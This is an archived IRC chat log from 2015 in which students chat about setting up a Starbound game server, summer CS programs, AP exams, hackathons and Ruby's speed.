[2015-01-03T16:25:48-0500] <@awe> same thing with my VPSes.
[2015-01-03T16:26:02-0500] <@awe> Plus, heroku has an ephemeral disk
[2015-01-03T16:26:06-0500] <@awe> and everything in this game gets stored to disk
[2015-01-03T16:26:09-0500] <The_Master> hamachi then.
[2015-01-03T16:26:41-0500] <@awe> You can't just ask your dad to port forward?
[2015-01-03T16:26:49-0500] <@awe> or just go into your router yourself?
[2015-01-03T16:27:02-0500] <The_Master> I don't think our contract allows us.
[2015-01-03T16:27:05-0500] <@awe> lol
[2015-01-03T16:27:19-0500] <@awe> Probably not.
[2015-01-03T16:27:25-0500] <The_Master> thats what you told me when I was going to do that 
[2015-01-03T16:27:25-0500] <@awe> Not that that's ever stopped anyone.
[2015-01-03T16:27:31-0500] <@awe> I wouldn't do it for a large server
[2015-01-03T16:27:35-0500] <@awe> but for two people, doesn't matter.
[2015-01-03T16:27:37-0500] <@awe> that being said, hold on.
[2015-01-03T16:27:38-0500] <The_Master> ok
[2015-01-03T16:27:49-0500] <@awe> I may know the password to my router.
[2015-01-03T16:28:12-0500] <@awe> I don't.
[2015-01-03T16:28:18-0500] <@awe> Let's text my dad and see if he'll tell me.
[2015-01-03T16:28:48-0500] <The_Master> for now I will relearn how to play starbound
[2015-01-03T16:29:14-0500] <@awe> Did you opt into the nightly?
[2015-01-03T16:29:52-0500] <The_Master> ?
[2015-01-03T16:30:06-0500] <The_Master> nightly updates?
[2015-01-03T16:30:09-0500] <@awe> Yeah.
[2015-01-03T16:30:14-0500] <@awe> Right click the game in steam
[2015-01-03T16:30:20-0500] <@awe> somewhere in the preferences should be a beta opt in
[2015-01-03T16:30:23-0500] <@awe> and then you select nightly.
[2015-01-03T16:30:41-0500] <@awe> So, apparently, my router is supposed to auto-port forward or something.
[2015-01-03T16:30:48-0500] <The_Master> why not unstable? (:
[2015-01-03T16:30:55-0500] <The_Master> gtg brb in 15 minutes
[2015-01-03T16:31:02-0500] <@awe> because I've been playing the nightly.
[2015-01-03T16:31:25-0500] <@awe> it works well
[2015-01-03T16:32:18-0500] <@awe> Tamini: you should get in on this.
[2015-01-03T16:32:57-0500] <+Tamini> awe: i need money dude
[2015-01-03T16:33:01-0500] <@awe> Don't you own it?
[2015-01-03T16:33:02-0500] <+Tamini> also I need jacob
[2015-01-03T16:33:06-0500] <+Tamini> I'm running low on open problems
[2015-01-03T16:33:10-0500] <+Tamini> awe: torrented a copy, want legit
[2015-01-03T16:33:12-0500] <@awe> o
[2015-01-03T16:33:18-0500] <@awe> I can send you latest nightly
[2015-01-03T16:33:20-0500] <@awe> if you want
[2015-01-03T16:33:28-0500] <+Tamini> o really :O
[2015-01-03T16:33:31-0500] <+JacobEdelman> so cool: http://mattias-.github.io/2015-01-03/DIY-Make-Your-Own-Programming-language/
[2015-01-03T16:33:40-0500] <+Tamini> JacobEdelman: can i have you for three seconds
[2015-01-03T16:33:43-0500] <+JacobEdelman> (try diff browsers if it doesn't show up)
[2015-01-03T16:33:46-0500] <+JacobEdelman> Tamini: yes
[2015-01-03T16:33:46-0500] <+Tamini> maybe twenty
[2015-01-03T16:33:48-0500] <+JacobEdelman> Tamini: fine
[2015-01-03T16:33:50-0500] <+Tamini> respond to pm
[2015-01-03T16:33:56-0500] <+JacobEdelman> okay
[2015-01-03T16:34:00-0500] <@awe> Tamini: yeah, there's no DRM
[2015-01-03T16:41:02-0500] <+JacobEdelman> alok, whats the pact site again?
[2015-01-03T16:42:03-0500] <+Tamini> alokpathy: hey uh
[2015-01-03T16:42:05-0500] <+Tamini> if i do pact
[2015-01-03T16:42:08-0500] <+Tamini> can i live in your basement
[2015-01-03T16:42:20-0500] <alokpathy> rajivgandhics.wordpress.com
[2015-01-03T16:42:32-0500] <alokpathy> Tamini: I don't think you want to :P
[2015-01-03T16:42:58-0500] <alokpathy> Tamini: It's unfinished.
[2015-01-03T16:42:58-0500] <+JacobEdelman> (also: correction, they do not pay for your food, but you can just buy it from the princeton cafeteria we go to)
[2015-01-03T16:43:05-0500] <+Tamini> lol
[2015-01-03T16:43:11-0500] <+JacobEdelman> Tamini: I'm sure you could find a place to live nearbye ish
[2015-01-03T16:43:14-0500] <+Tamini> its okay i  just need a place to live
[2015-01-03T16:43:29-0500] <+JacobEdelman> I mean, I know somebody who came from philadelphia each day
[2015-01-03T16:43:30-0500] <alokpathy> Tamini: You could dorm with somebody in Princeton.
[2015-01-03T16:43:34-0500] <+JacobEdelman> so it doesn't need to be super close
[2015-01-03T16:43:36-0500] <+JacobEdelman> also that
[2015-01-03T16:43:40-0500] <+JacobEdelman> or with someone in pact
[2015-01-03T16:44:04-0500] <+JacobEdelman> it probaly wouldn't be a problem to find a place to stay
[2015-01-03T16:44:14-0500] <alokpathy> Tamini: Or, it doesn't even need to be in Princeton.
[2015-01-03T16:44:23-0500] <alokpathy> Tamini: It could be anywhere in NJ reasonably close to a train station.
[2015-01-03T16:44:40-0500] <+JacobEdelman> also, registratin for it is not open yet
[2015-01-03T16:44:56-0500] <+Tamini> hm
[2015-01-03T16:44:56-0500] <alokpathy> Tamini: Omg I should interview you
[2015-01-03T16:44:58-0500] <alokpathy> jk that'd be biased.
[2015-01-03T16:44:58-0500] <+Tamini> LOL
[2015-01-03T16:44:59-0500] <+JacobEdelman> @tell hardmath123 registration for PACT is not open yet, so no huge rush I guess
[2015-01-03T16:44:59-0500] <mailbot> JacobEdelman: I'll let them know!
[2015-01-03T16:45:04-0500] <+Tamini> alokpathy: no of course not ;)
[2015-01-03T16:45:06-0500] <+Tamini> <3
[2015-01-03T16:45:11-0500] <+JacobEdelman> Tamini: I promise you would get in to Pact
[2015-01-03T16:45:16-0500] <+Tamini> interview me and we can talk about cs for an hour and you can tell everyone how smart i was
[2015-01-03T16:45:26-0500] <alokpathy> "She's very strange. I wouldn't take her."
[2015-01-03T16:45:26-0500] <+JacobEdelman> he is strongly baised towards people with good reccomendation's from other PACT students
[2015-01-03T16:45:33-0500] <alokpathy> Yeah, true.
[2015-01-03T16:45:36-0500] <+JacobEdelman> I knew a kid who got in because he mentioned my name
[2015-01-03T16:45:44-0500] <+Tamini> lol
[2015-01-03T16:45:47-0500] <alokpathy> Essentially if we pitch you to the prof
[2015-01-03T16:45:49-0500] <alokpathy> you'll get in.
[2015-01-03T16:45:49-0500] <+JacobEdelman> and for getting ezra in dr. gandhi just told Ben to decide
[2015-01-03T16:45:54-0500] <alokpathy> I think that's how I got in the weird way.
[2015-01-03T16:46:00-0500] <alokpathy> Ben talked with him.
[2015-01-03T16:46:11-0500] <+JacobEdelman> alokpathy: we also had open spots then
[2015-01-03T16:46:24-0500] <alokpathy> JacobEdelman: Well, and that, obviously.
[2015-01-03T16:47:01-0500] <alokpathy> Tamini: So you're going to ditch ROSS for PACT? :D
[2015-01-03T16:47:20-0500] <alokpathy> Assuming you find a place to live and breathe for 6 weeks?
[2015-01-03T16:47:24-0500] <+JacobEdelman> (Tamini, the only quesiton would be whether you would get into the advanced group, but I'm 95% certain you would be let in)
[2015-01-03T16:47:33-0500] <+JacobEdelman> whats ROSS?
[2015-01-03T16:47:39-0500] <alokpathy> The math program she did last summer.
[2015-01-03T16:47:45-0500] <alokpathy> I think she said she's going to it again.
[2015-01-03T16:47:58-0500] <+Tamini> ross wants money
[2015-01-03T16:48:02-0500] <+Tamini> pact doesnt
[2015-01-03T16:48:06-0500] <+Tamini> but ross is giving me a job
[2015-01-03T16:48:08-0500] <+Tamini> pact isnt
[2015-01-03T16:48:08-0500] <+Tamini> :<
[2015-01-03T16:48:13-0500] <+Tamini> can i do research there or
[2015-01-03T16:48:15-0500] <alokpathy> ROSS is giving you a paid job?
[2015-01-03T16:48:20-0500] <+Tamini> its like
[2015-01-03T16:48:31-0500] <+Tamini> "we want you to pay a little for room and board but you're working as a junior counselor"
[2015-01-03T16:48:39-0500] <+Tamini> "we dont have enough money sorry"
[2015-01-03T16:48:47-0500] <alokpathy> Wait, so, they won't pay you?
[2015-01-03T16:49:17-0500] <alokpathy> Also, yeah, you do research towards the end I believe.
[2015-01-03T16:49:33-0500] <alokpathy> We didn't last summer because we didn't do approximation algorithms, which is our prof's strong suit.
[2015-01-03T16:49:36-0500] <alokpathy> This summer we are though.
[2015-01-03T16:50:21-0500] <+Tamini> they're paying me very little
[2015-01-03T16:50:21-0500] <+JacobEdelman> (if you're interested in research the prof. could probaly give you a problem)
[2015-01-03T16:50:30-0500] <+Tamini> lol
[2015-01-03T16:50:37-0500] <+JacobEdelman> wait, are you making a net gain in ROSS?
[2015-01-03T16:50:41-0500] <+JacobEdelman> if not, whats the point?
[2015-01-03T16:50:46-0500] <alokpathy> Lol that'd be troll.
[2015-01-03T16:50:48-0500] <The_Master> awe: do you have a server?
[2015-01-03T16:50:49-0500] <+Tamini> JacobEdelman: like
[2015-01-03T16:50:53-0500] <@awe> yeah
[2015-01-03T16:51:06-0500] <@awe> 76.101.73.179
[2015-01-03T16:51:08-0500] <+Tamini> they want a little money because they feed you and stuff for 6 weeks
[2015-01-03T16:51:20-0500] <+Tamini> and they give you a place to stay
[2015-01-03T16:51:25-0500] <+Tamini> so technically pact and ross would cost ~same
[2015-01-03T16:51:35-0500] <The_Master> awe:I am updating it to beta
[2015-01-03T16:51:40-0500] <@awe> nightly*
[2015-01-03T16:52:07-0500] <alokpathy> Tamini: Idk if it's the same as "junior counselor," but if you do the advanced group at PACT, you'll be a mentor to a few kids in the beginner's group.
[2015-01-03T16:52:08-0500] <The_Master> awe: why don't you use unstable
[2015-01-03T16:52:17-0500] <@awe> Because unstable was really far behind until like two days ago.
[2015-01-03T16:52:49-0500] <+JacobEdelman> Tamini: In Pact you learn a whole lot
[2015-01-03T16:52:57-0500] <+Tamini> JacobEdelman: in ROSS you do too :P
[2015-01-03T16:53:06-0500] <+Tamini> if i can find a place to stay ill consider it
[2015-01-03T16:53:09-0500] <The_Master> awe: is nightly using the winter update?
[2015-01-03T16:53:10-0500] <+JacobEdelman> Tamini: pact has resistance
[2015-01-03T16:53:14-0500] <@awe> Nightly is newer than that.
[2015-01-03T16:53:22-0500] <@awe> But yes.
[2015-01-03T16:53:31-0500] <The_Master> awe:ok
[2015-01-03T16:53:33-0500] <@awe> nightly is the latest version of Starbound.
[2015-01-03T16:53:39-0500] <The_Master> awe:k
[2015-01-03T16:53:44-0500] <alokpathy> Tamini: Oh, yeah, we play Resistance on a daily basis.
[2015-01-03T16:53:47-0500] <The_Master> *Okay
[2015-01-03T16:53:58-0500] <alokpathy> Tamini: including 10-player resistance with a bunch of special players.
[2015-01-03T16:54:02-0500] <alokpathy> which is mad fun.
[2015-01-03T16:54:33-0500] <+JacobEdelman> Tamini: okay, let alok or I know if you want us to check with the prof. and such for dorm housing
[2015-01-03T16:55:01-0500] <+Tamini> hmm
[2015-01-03T16:55:09-0500] <+Tamini> yeah dorm housing might be nice
[2015-01-03T16:55:09-0500] <+Tamini> uh
[2015-01-03T16:55:13-0500] <+Tamini> lemme finish applying to rsi first, eh?
[2015-01-03T16:55:17-0500] <+JacobEdelman> okay
[2015-01-03T16:55:24-0500] <alokpathy> Tamini: Oh did you get an idea?
[2015-01-03T16:56:47-0500] <+Tamini> i had an idea for a while
[2015-01-03T16:56:52-0500] <+Tamini> thats why i was looking for jacob
[2015-01-03T16:57:03-0500] <alokpathy> Oh what is it?
[2015-01-03T16:57:10-0500] <+Tamini> shh
[2015-01-03T16:57:14-0500] <@awe> The_Master: how long until you get on?
[2015-01-03T16:57:15-0500] <+Tamini> ill share after application deadlines close <3
[2015-01-03T16:57:21-0500] <@awe> The_Master: I'm waiting here on the surface of the first planet for you.
[2015-01-03T16:57:25-0500] <alokpathy> Oh so you were going to tell Jacob and not me?
[2015-01-03T16:57:27-0500] <alokpathy> Gosh Tamini 
[2015-01-03T16:57:31-0500] <alokpathy> </3
[2015-01-03T16:58:16-0500] <+Tamini> im soweee
[2015-01-03T16:58:19-0500] <+Tamini> il pm you after im done
[2015-01-03T16:58:19-0500] <+Tamini> <3
[2015-01-03T16:58:26-0500] <+Tamini> right now im trying to uh
[2015-01-03T16:58:35-0500] <The_Master> awe: I am creating a character.
[2015-01-03T16:58:40-0500] <@awe> Okay, cool.
[2015-01-03T16:58:45-0500] <+Tamini> find a semiviable way to research a problem that's been open for a couple hundred years
[2015-01-03T16:58:53-0500] <@awe> Tamini: lol
[2015-01-03T16:59:40-0500] <+Tamini> also all these cool problems
[2015-01-03T16:59:42-0500] <+Tamini> were proven like
[2015-01-03T16:59:43-0500] <+Tamini> this year
[2015-01-03T16:59:44-0500] <+Tamini> omg 
[2015-01-03T16:59:48-0500] <+Tamini> last year*
[2015-01-03T17:01:38-0500] <alokpathy> ???
[2015-01-03T17:01:42-0500] <alokpathy> e.g.?
[2015-01-03T17:01:52-0500] <The_Master> awe: what is the password and account
[2015-01-03T17:01:56-0500] <@awe> blank
[2015-01-03T17:02:09-0500] <@awe> don't enter anything
[2015-01-03T17:02:12-0500] <@awe> (well, it'll ignore it anyway)
[2015-01-03T17:03:51-0500] <The_Master> awe: can we gvideo chat?
[2015-01-03T17:03:59-0500] <@awe> why?
[2015-01-03T17:04:15-0500] <@awe> Video chatting while playing a game seems pointless.
[2015-01-03T17:04:34-0500] <@awe> We can use skype or something.
[2015-01-03T17:04:58-0500] <The_Master> vide chat without video, just for sound
[2015-01-03T17:05:13-0500] <@awe> There we go.
[2015-01-03T17:05:13-0500] <@awe> lol
[2015-01-03T17:05:21-0500] <@awe> Sorry, I had to do it.
[2015-01-03T17:05:26-0500] <The_Master> awe:ok
[2015-01-03T17:05:33-0500] <@awe> Do you have a skype account?
[2015-01-03T17:05:45-0500] <The_Master> awe: do you have my home phone number?
[2015-01-03T17:05:53-0500] <@awe> I don't want to use an actual phone.
[2015-01-03T17:06:39-0500] <+hardmath123> i'm so confused
[2015-01-03T17:06:39-0500] <mailbot> hardmath123: 21 minutes ago, JacobEdelman said registration for PACT is not open yet, so no huge rush I guess.
[2015-01-03T17:06:39-0500] <@awe> Where'd you go?
[2015-01-03T17:06:49-0500] <+hardmath123> awe: did you kill me?
[2015-01-03T17:06:57-0500] <@awe> I killed a king sitting alone in a castle.
[2015-01-03T17:07:05-0500] <@awe> Which JacobEdelman decided was you.
[2015-01-03T17:07:08-0500] <+JacobEdelman> ... it was a strained metaphor
[2015-01-03T17:07:11-0500] <+hardmath123> wow JacobEdelman that jurts
[2015-01-03T17:07:14-0500] <+JacobEdelman> which made little sense
[2015-01-03T17:07:20-0500] <+JacobEdelman> what? I didn't kill yu
[2015-01-03T17:07:22-0500] <+JacobEdelman> *you
[2015-01-03T17:07:24-0500] <+JacobEdelman> awe did
[2015-01-03T17:07:24-0500] <+hardmath123> just because i'm always alone
[2015-01-03T17:07:28-0500] <+JacobEdelman> no
[2015-01-03T17:07:33-0500] <+hardmath123> doesn't make me the lonely king in all situations
[2015-01-03T17:07:36-0500] <+hardmath123> :P
[2015-01-03T17:07:39-0500] <+JacobEdelman> I compared it to the little prince
[2015-01-03T17:07:42-0500] <The_Master> awe: brb
[2015-01-03T17:07:46-0500] <+JacobEdelman> and than someone said you were the little prince
[2015-01-03T17:08:04-0500] <@awe> I just discovered a mining operation to the west of spawn.
[2015-01-03T17:08:38-0500] <+JacobEdelman> *well, i mentioned that it seemed like a character in the little prince
[2015-01-03T17:12:36-0500] <alokpathy> awe: http://hackumass.com/
[2015-01-03T17:13:40-0500] <@awe> Go!
[2015-01-03T17:13:51-0500] <@awe> The_Master: 
[2015-01-03T17:14:12-0500] <@awe> The_Master: go on Hangouts.
[2015-01-03T17:20:31-0500] <+Tamini> odamn
[2015-01-03T17:20:59-0500] <alokpathy> @list
[2015-01-03T17:21:00-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T17:21:00-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T17:21:00-0500] <alchemy> You have: kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal
[2015-01-03T17:21:00-0500] <alchemy> You have: nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant
[2015-01-03T17:21:00-0500] <alchemy> You have: robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time
[2015-01-03T17:21:00-0500] <alchemy> You have: tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T17:21:00-0500] <alchemy> That's 116 out of 150!
[2015-01-03T17:21:08-0500] <ubuntor> i need a hackathon team :/
[2015-01-03T17:21:41-0500] <alokpathy> ubuntor: A lot of people form teams with random people at the event.
[2015-01-03T17:21:51-0500] <ubuntor> hmm
[2015-01-03T17:30:19-0500] <@awe> I'm going to be back in like...
[2015-01-03T17:30:26-0500] <@awe> Roughly an hour.
[2015-01-03T17:30:38-0500] <@awe> After that, I'ma upload the latest Starbound nightly for anyone who wants it.
[2015-01-03T17:30:48-0500] <+Tamini> yay, rsi done <3
[2015-01-03T17:31:08-0500] <+Tamini> alokpathy: we haven't done a hackathon yet, that reminds me
[2015-01-03T17:31:18-0500] <+Tamini> (oops i was the one that bailed on pennapps I know heinous crime)
[2015-01-03T17:31:26-0500] <@awe> Tamini: hate you D:
[2015-01-03T17:31:27-0500] <+Tamini> but we really should sometime.
[2015-01-03T17:31:30-0500] <+Tamini> awe: I love you.
[2015-01-03T17:31:33-0500] <+Tamini> I thought you were gone :p
[2015-01-03T17:31:35-0500] <@awe> Do HackUMass.
[2015-01-03T17:31:35-0500] <@awe> D:
[2015-01-03T17:31:36-0500] <+hardmath123> JacobEdelman: Ooh I'm honoered to be compared to The Little Prince.
[2015-01-03T17:31:37-0500] <@awe> :D*
[2015-01-03T17:31:46-0500] <+Tamini> awe: when is it?
[2015-01-03T17:31:49-0500] <+Tamini> also if alokpathy does maybe
[2015-01-03T17:31:52-0500] <@awe> April 11-12 2015
[2015-01-03T17:32:05-0500] <alokpathy> Tamini: I might go
[2015-01-03T17:32:10-0500] <alokpathy> assuming I get travel reimbursement
[2015-01-03T17:32:28-0500] <+Tamini> that sounds like
[2015-01-03T17:32:30-0500] <alokpathy> and assuming nothing important happens that weekend.
[2015-01-03T17:32:33-0500] <+Tamini> right smack in the middle of 
[2015-01-03T17:32:37-0500] <+Tamini> everything goes to hell season
[2015-01-03T17:32:42-0500] <alokpathy> ?
[2015-01-03T17:32:44-0500] <@awe> "the biggest and most popular indoors venue on campus"
[2015-01-03T17:32:47-0500] <@awe> define most popular lol
[2015-01-03T17:33:03-0500] <+Tamini> alokpathy: april is when everything starts to happen
[2015-01-03T17:33:06-0500] <@awe> It's most popular in the sense that we have basketball games there.
[2015-01-03T17:33:07-0500] <+Tamini> because APs are coming up
[2015-01-03T17:33:11-0500] <+Tamini> and all the teachers start freaking out
[2015-01-03T17:33:28-0500] <@awe> Tamini: lol, are you actually worried about APs?
[2015-01-03T17:33:37-0500] <alokpathy> Tamini: Oh, yeah, APs
[2015-01-03T17:33:38-0500] <alokpathy> heh
[2015-01-03T17:33:41-0500] <+Tamini> awe: I'm worried about the shitload of work my teachers are going to pile on
[2015-01-03T17:33:46-0500] <+Tamini> alokpathy: you dont even need to take them :P
[2015-01-03T17:33:50-0500] <alokpathy> something I might have to worry
[2015-01-03T17:33:59-0500] <alokpathy> Tamini: I might
[2015-01-03T17:34:05-0500] <alokpathy> depending on the college I commit to 
[2015-01-03T17:34:09-0500] <alokpathy> and what credit they give
[2015-01-03T17:34:13-0500] <alokpathy> for APs.
[2015-01-03T17:34:20-0500] <@awe> UMass took 100% of my APs.
[2015-01-03T17:34:21-0500] <@awe> :D
[2015-01-03T17:34:37-0500] <@awe> In fact, they take pretty much every AP test.
[2015-01-03T17:34:44-0500] <alokpathy> awe: Including Physics B?
[2015-01-03T17:34:59-0500] <alokpathy> Not a lot of colleges take that.
[2015-01-03T17:35:17-0500] <alokpathy> I'm praying the college I commit to takes Physics B so I don't have to take C.
[2015-01-03T17:35:44-0500] <bob_twinkles> don't want to do E&M? =P
[2015-01-03T17:35:57-0500] <alokpathy> Don't want to do any AP LOL
[2015-01-03T17:36:40-0500] <bob_twinkles> heh
[2015-01-03T17:36:46-0500] <alokpathy> I'll probably have to take Lang, though.
[2015-01-03T17:37:07-0500] <bob_twinkles> they physics AP test wasn't any worse than the tests in the actual class though
[2015-01-03T17:37:07-0500] <@awe> No idea about Physics B.
[2015-01-03T17:37:10-0500] <@awe> I didn't take AP Physics.
[2015-01-03T17:37:14-0500] <@awe> I hate Physics.
[2015-01-03T17:37:16-0500] <bob_twinkles> D=
[2015-01-03T17:37:22-0500] <@awe> And Chem.
[2015-01-03T17:37:23-0500] <@awe> And Bio.
[2015-01-03T17:37:35-0500] <bob_twinkles> you're allowed to hate stamp collecting
[2015-01-03T17:37:41-0500] <bob_twinkles> physics is cool though
[2015-01-03T17:37:47-0500] <@awe> I mean, yes.
[2015-01-03T17:37:48-0500] <@awe> It is.
[2015-01-03T17:37:48-0500] <alokpathy> bob_twinkles: Depends on the class :P
[2015-01-03T17:37:51-0500] <@awe> But I don't want to do any of the math.
[2015-01-03T17:37:56-0500] <@awe> I don't enjoy it.
[2015-01-03T17:38:15-0500] <alokpathy> bob_twinkles: And I'm certain I'd have to study for it for a considerable amount of time.
[2015-01-03T17:38:22-0500] <alokpathy> bob_twinkles: which I'd rather spend sleeping.
[2015-01-03T17:38:30-0500] <bob_twinkles> lol sleeping
[2015-01-03T17:38:32-0500] <@awe> I find broad conceptual physics/chemistry interesting.
[2015-01-03T17:38:42-0500] <+Tamini> bob_twinkles: lol
[2015-01-03T17:38:46-0500] <+Tamini> we spend physics sleeping
[2015-01-03T17:38:46-0500] <bob_twinkles> I more or less winged the AP physics tests, still got 5s =D
[2015-01-03T17:38:47-0500] <+Tamini> ._.
[2015-01-03T17:38:51-0500] <bob_twinkles> yep...
[2015-01-03T17:38:53-0500] <+Tamini> and basically you just
[2015-01-03T17:38:59-0500] <+Tamini> circle random answers
[2015-01-03T17:39:02-0500] <@awe> bob_twinkles: congratulations, you're the wealthy target audience that the AP tests were designed to help.
[2015-01-03T17:39:03-0500] <+Tamini> and solve 1 calculus problem
[2015-01-03T17:39:06-0500] <+Tamini> entropy loves you
[2015-01-03T17:39:11-0500] <+Tamini> you get a 5
[2015-01-03T17:39:14-0500] <bob_twinkles> awe: <3
[2015-01-03T17:39:20-0500] <alokpathy> bob_twinkles: I'd also rather spend those 3 hours sleeping :P
[2015-01-03T17:39:31-0500] <@awe> I didn't do any prep work for any AP test and got a 5 on all 6 of the ones I took.
[2015-01-03T17:39:44-0500] <+JacobEdelman> awe: cause you're magic?
[2015-01-03T17:39:53-0500] <@awe> Because the test is designed for people like us.
[2015-01-03T17:40:11-0500] <bob_twinkles> also you only need to get like 60% on the physics tests to get a 5
[2015-01-03T17:40:16-0500] <@awe> Yup.
[2015-01-03T17:40:18-0500] <+JacobEdelman> gtg
[2015-01-03T17:40:19-0500] <@awe> That's true of most of them.
[2015-01-03T17:40:25-0500] <+Tamini> bob_twinkles: i think i did get a 60% on most of our physics tests :P
[2015-01-03T17:40:34-0500] <bob_twinkles> lol
[2015-01-03T17:40:38-0500] <@awe> The curve on Lang and Lit is similar, too.
[2015-01-03T17:40:40-0500] <alokpathy> Tamini: Hooray you get a 5 :P
[2015-01-03T17:40:47-0500] <bob_twinkles> but they get curved so hard that's like an 80
[2015-01-03T17:40:48-0500] <@awe> You get like a 65% and that's a 5.
[2015-01-03T17:40:54-0500] <bob_twinkles> oh good
[2015-01-03T17:41:02-0500] <alokpathy> Bio is hard though, apparently.
[2015-01-03T17:41:06-0500] <alokpathy> Only 5% get 5's.
[2015-01-03T17:41:20-0500] <bob_twinkles> because I'm taking Lang/Gov at the end of senior year and I'm pretty sure I won't know anything
[2015-01-03T17:41:28-0500] <@awe> both govts are really easy.
[2015-01-03T17:41:50-0500] <+Tamini> but the bio test is a joke
[2015-01-03T17:41:54-0500] <+Tamini> it's like a reading comp test
[2015-01-03T17:42:01-0500] <@awe> Tamini: which means the curve is low :p
[2015-01-03T17:42:05-0500] <alokpathy> Tamini: A hard one evidently :P
[2015-01-03T17:42:08-0500] <@awe> Tamini: which means any small mistake is unforgiving.
[2015-01-03T17:42:12-0500] <+Tamini> yeah
[2015-01-03T17:42:18-0500] <+Tamini> if you know your stuff tho you're set
[2015-01-03T17:42:25-0500] <alokpathy> That's true for like
[2015-01-03T17:42:28-0500] <alokpathy> literally every test
[2015-01-03T17:42:28-0500] <alokpathy> XD
[2015-01-03T17:42:30-0500] <+Tamini> i like didn't get to answer 2 mult choice questions because everything is so goddamn long
[2015-01-03T17:42:32-0500] <@awe> I really should've taken AP Bio.
[2015-01-03T17:42:34-0500] <+Tamini> but i think i got a perfect on frq so
[2015-01-03T17:42:41-0500] <@awe> If I had, I would be 100% done with gen eds.
[2015-01-03T17:42:44-0500] <@awe> instead of having to take one. >.>
[2015-01-03T17:43:20-0500] <alokpathy> I don't want to gen ed in college .-.
[2015-01-03T17:44:29-0500] <+Tamini> lol
[2015-01-03T17:44:35-0500] <@awe> The funniest thing is the crap my school tries to spoon feed you about geneds.
[2015-01-03T17:44:50-0500] <@awe> When we first started, they showed us like four videos about how great gen eds are and how they'll help you find a career and major and blah blah blah.
[2015-01-03T17:45:23-0500] <@awe> And how it's also important to not just get them all out of the way and to save them throughout your studies
[2015-01-03T17:45:31-0500] <@awe> so that later when you have hard stuff, you can balance it with gen eds.
[2015-01-03T17:46:14-0500] <@awe> Meanwhile,  I can just take a lighter course load if I'm worried because I'm a third of the way done with my degree already.
[2015-01-03T17:46:26-0500] <@awe> But I'm not going to do that because three-year graduation and whatnot.
[2015-01-03T18:44:41-0500] <alokpathy> Oh awe JacobEdelman how are we getting to Penn?
[2015-01-03T18:47:40-0500] <@awe> I'm driving?
[2015-01-03T18:47:42-0500] <@awe> I can drive you both.
[2015-01-03T18:48:03-0500] <alokpathy> Oh okay
[2015-01-03T18:48:08-0500] <alokpathy> That was easy.
[2015-01-03T18:48:11-0500] <alokpathy> And Ben :P
[2015-01-03T18:48:45-0500] <@awe> Yeah.
[2015-01-03T18:54:55-0500] <@awe> Ben can also enter my vehicle.
[2015-01-03T18:55:50-0500] <alokpathy> yey
[2015-01-03T18:57:46-0500] <bob_twinkles> can he leave?
[2015-01-03T18:58:02-0500] <@awe> No.
[2015-01-03T18:58:04-0500] <@awe> He's not allowed to leave.
[2015-01-03T18:58:07-0500] <@awe> >:D
[2015-01-03T18:58:16-0500] <alokpathy> Are JacobEdelman or I allowed to leave? :|
[2015-01-03T18:58:26-0500] <@awe> Yeah.
[2015-01-03T18:58:33-0500] <alokpathy> woo
[2015-01-03T18:58:43-0500] <alokpathy> though, we
[2015-01-03T18:58:45-0500] <alokpathy> 're
[2015-01-03T18:58:55-0500] <alokpathy> not allowed to work off-campus.
[2015-01-03T18:59:17-0500] <alokpathy> Or it might be outside the building
[2015-01-03T18:59:24-0500] <alokpathy> in which case, you'll have to park inside.
[2015-01-03T19:00:00-0500] <alokpathy> I don't remember seeing a parking lot in the building.
[2015-01-03T19:01:21-0500] <@awe> I think they have parking though.
[2015-01-03T19:02:08-0500] <alokpathy> Oh, they might have roadside parking inside, yeah.
[2015-01-03T19:04:40-0500] <@awe> No, I mean, I think they have parking available specifically for people driving.
[2015-01-03T19:05:36-0500] <alokpathy> Oh, they might, yeah.
[2015-01-03T19:06:19-0500] <alokpathy> If they don't, I guess you could park in Jacob's aunt and uncle's driveway
[2015-01-03T19:06:24-0500] <alokpathy> and we can Uber to campus.
[2015-01-03T19:09:31-0500] <+hardmath123> awe might hate me for it, but i'm almost liking riby
[2015-01-03T19:09:32-0500] <+hardmath123> *ruby
[2015-01-03T19:09:40-0500] <@awe> Ruby is... okay.
[2015-01-03T19:10:52-0500] <@awe> It's really slow though.
[2015-01-03T19:12:19-0500] <@awe> Which is why every production website in Ruby writes everything in C.
[2015-01-03T19:12:28-0500] <@awe> Well, everything remotely important.
[2015-01-03T19:14:43-0500] <@awe> There's some people doing Ruby and Rust now, too.
[2015-01-03T19:14:52-0500] <@awe> https://www.skylight.io uses Rust.
[2015-01-03T19:16:03-0500] <@awe> That featherweight agent they're referring to is written entirely in Rust.
[2015-01-03T19:20:09-0500] <@awe> Obvious complaints about lack of compile-time type checking.
[2015-01-03T19:20:19-0500] <@awe> And possibility of null references.
[2015-01-03T19:21:04-0500] <Hyper> I have a guy who worked on a production website in ruby next to me: you are "half yes, half no"
[2015-01-03T19:21:14-0500] <@awe> What?
[2015-01-03T19:21:22-0500] <@awe> What does "half yes, half no" mean?
[2015-01-03T19:21:27-0500] <@awe> And define production?
[2015-01-03T19:21:38-0500] <Hyper> A lot of gems are written in C, ex. XHTML parsin
[2015-01-03T19:21:39-0500] <Hyper> g
[2015-01-03T19:21:51-0500] <@awe> A significant portion of GitHub is written in C.
[2015-01-03T19:22:02-0500] <Hyper> production meaning he worked on a fairly high traffic ruby site :)
[2015-01-03T19:22:08-0500] <@awe> I know.
[2015-01-03T19:22:10-0500] <@awe> I mean how high traffic?
[2015-01-03T19:22:58-0500] <Hyper> not github
[2015-01-03T19:23:00-0500] <Hyper> not that high
